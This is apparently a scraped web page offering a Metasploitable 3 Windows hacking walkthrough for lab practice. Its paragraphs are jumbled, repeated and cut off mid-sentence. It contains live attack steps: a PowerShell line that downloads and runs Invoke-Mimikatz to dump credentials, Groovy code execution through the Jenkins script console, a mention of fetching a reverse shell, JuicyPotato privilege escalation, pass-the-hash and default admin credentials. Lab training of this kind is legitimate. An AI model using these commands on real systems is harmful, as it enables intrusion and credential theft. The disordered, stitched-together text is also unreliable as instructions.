Metasploitable 3 Windows Walkthrough [ ESSENTIAL · TIPS ]

Introduction: Why Attack What is Already Broken? In the world of cybersecurity, you cannot defend what you do not understand. For years, Metasploitable 2 has been the golden standard for practicing ethical hacking—a Linux-based treasure trove of vulnerabilities. However, as enterprise environments shift, so too must our training grounds.

Upload JuicyPotato.exe via Evil-WinRM:

Once in Jenkins, go to "Manage Jenkins" -> "Script Console". This is a Groovy script executor. You can run: metasploitable 3 windows walkthrough

# Download Mimikatz iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds NTLM hashes for Administrator , vagrant , and the machine account. You can now pass-the-hash to any other machine on the fake network. Finding Flags Metasploitable 3 has "flags" hidden in the file system. Introduction: Why Attack What is Already Broken

Developed by Rapid7 in collaboration with Vagrant, Metasploitable 3 is a deliberately vulnerable Windows machine designed to teach real-world Active Directory exploitation, misconfiguration management, and post-exploitation tactics. This is not a simple "click-and-exploit" box. It requires understanding Windows services, firewall rules, and privilege escalation vectors. However, as enterprise environments shift, so too must

println "whoami".execute().text If this returns a system user, you have remote code execution (RCE). Use it to download a reverse shell payload from Kali. Older Elasticsearch versions are vulnerable to CVE-2014-3120 (Remote Code Execution).

gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt Look for /jenkins or /phpmyadmin . Metasploitable 3 often has Jenkins running on port 80 via a virtual directory. If you find Jenkins, navigate there. The credentials in Metasploitable 3 default to admin / admin (or no password).